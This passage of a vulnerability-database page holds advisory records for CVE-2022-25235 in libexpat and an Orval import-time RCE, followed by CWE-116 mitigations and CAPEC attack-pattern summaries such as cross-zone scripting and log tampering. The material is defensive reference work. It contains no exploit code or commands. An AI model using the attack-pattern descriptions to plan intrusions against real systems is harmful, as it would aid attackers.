      "url": "https://github.com/orval-labs/orval/releases/tag/v8.21.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Orval: Import-time RCE via header-parameter default -\u003e zod module-level template literal"
}

GHSA-8MW4-GRGW-M3FP

Vulnerability from github – Published: 2022-02-17 00:00 – Updated: 2025-05-05 18:31

Details

xmltok_impl.c in Expat (aka libexpat) before 2.4.5 lacks certain validation of encoding, such as checks for whether a UTF-8 character is valid in a certain context.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

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{
  "affected": [],
  "aliases": [
    "CVE-2022-25235"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-02-16T01:15:00Z",
    "severity": "HIGH"
  },
  "details": "xmltok_impl.c in Expat (aka libexpat) before 2.4.5 lacks certain validation of encoding, such as checks for whether a UTF-8 character is valid in a certain context.",
  "id": "GHSA-8mw4-grgw-m3fp",
  "modified": "2025-05-05T18:31:37Z",
  "published": "2022-02-17T00:00:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25235"
    },
    {
      "type": "WEB",
      "url": "https://github.com/libexpat/libexpat/pull/562"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-484086.pdf"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2022/03/msg00007.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/3UFRBA3UQVIQKXTBUQXDWQOVWNBKLERU"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/Y27XO3JMKAOMQZVPS3B4MJGEAHCZF5OM"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3UFRBA3UQVIQKXTBUQXDWQOVWNBKLERU"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/Y27XO3JMKAOMQZVPS3B4MJGEAHCZF5OM"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202209-24"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20220303-0008"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2022/dsa-5085"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuapr2022.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2022/02/19/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation MIT-4.3

Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Alternately, use built-in functions, but consider using wrappers in case those functions are discovered to have a vulnerability.

Mitigation MIT-27

Architecture and Design

Strategy: Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
For example, stored procedures can enforce database query structure and reduce the likelihood of SQL injection.

Mitigation

Architecture and Design Implementation

Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.

Mitigation

Architecture and Design

In some cases, input validation may be an important strategy when output encoding is not a complete solution. For example, you may be providing the same output that will be processed by multiple consumers that use different encodings or representations. In other cases, you may be required to allow user-supplied input to contain control information, such as limited HTML tags that support formatting in a wiki or bulletin board. When this type of requirement must be met, use an extremely strict allowlist to limit which control sequences can be used. Verify that the resulting syntactic structure is what you expect. Use your normal encoding methods for the remainder of the input.

Mitigation

Architecture and Design

Use input validation as a defense-in-depth measure to reduce the likelihood of output encoding errors (see CWE-20).

Mitigation

Requirements

Fully specify which encodings are required by components that will be communicating with each other.

Mitigation

Implementation

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

CAPEC-104: Cross Zone Scripting

An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security.

CAPEC-73: User-Controlled Filename

An attack of this type involves an adversary inserting malicious characters (such as a XSS redirection) into a filename, directly or indirectly that is then used by the target software to generate HTML text or other potentially executable content. Many websites rely on user-generated content and dynamically build resources like files, filenames, and URL links directly from user supplied data. In this attack pattern, the attacker uploads code that can execute in the client browser and/or redirect the client browser to a site that the attacker owns. All XSS attack payload variants can be used to pass and exploit these vulnerabilities.

CAPEC-81: Web Server Logs Tampering

Web Logs Tampering attacks involve an attacker injecting, deleting or otherwise tampering with the contents of web logs typically for the purposes of masking other malicious behavior. Additionally, writing malicious data to log files may target jobs, filters, reports, and other agents that process the logs in an asynchronous attack pattern. This pattern of attack is similar to "Log Injection-Tampering-Forging" except that in this case, the attack is targeting the logs of the web server and not the application.

CAPEC-85: AJAX Footprinting

This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.

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